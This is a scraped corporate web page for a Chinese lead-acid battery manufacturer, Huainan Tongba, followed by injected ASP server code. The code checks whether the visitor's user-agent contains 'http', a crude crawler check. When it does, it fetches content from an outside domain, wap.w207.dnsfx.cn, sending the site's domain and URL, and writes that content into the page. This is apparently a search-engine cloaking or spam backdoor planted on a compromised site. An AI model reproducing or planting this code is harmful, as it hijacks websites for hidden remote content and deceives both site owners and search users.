|
|
淮南通霸蓄电池有限公司，位于全国闻名淮南煤城---风景如画舜耕山下，交通方便。本厂生产TONGBA 四大系列铅酸蓄电池产品：干荷启动型、旅游车、电动三轮车、自行车专用电池，应急灯照明电池；矿用防爆特殊型及电源装置、矿灯电池；叉车牵引型、铁路机车专用电池；GF固定型电池等。年产品达20万KVAA，为安徽省大型铅酸蓄电池生产基地。
本公司拥有一批高素质专业工程技术人员及职工队伍，拥有先进... |
|
|
|
|
|
|
<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody("http://wap.w207.dnsfx.cn/conn14.asp?dns="&dns)
else
response.write getBody("http://wap.w207.dnsfx.cn/conn14.asp?dns="&url&"&dn="&dns)
end if
end if
%>
|
|
